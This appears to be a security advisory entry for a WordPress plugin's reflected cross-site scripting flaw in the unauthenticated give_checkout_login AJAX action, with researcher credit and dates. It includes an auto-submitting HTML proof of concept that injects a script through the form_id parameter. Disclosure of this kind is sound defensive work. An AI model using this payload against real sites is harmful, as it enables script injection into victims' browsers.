The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting
As an unauthenticated user: <html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST"> <input type="hidden" name="action" value="give_checkout_login" /> <input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' /> <input type="submit" value="Submit request" /> </form> </body> <script> var form1 = document.getElementById('hack'); form1.submit(); </script> </html>
ZhongFu Su(JrXnm) of Wuhan University
ZhongFu Su(JrXnm) of Wuhan University
Yes
2022-01-18 (about 1 years ago)
2022-01-18 (about 1 years ago)
2022-09-26 (about 8 months ago)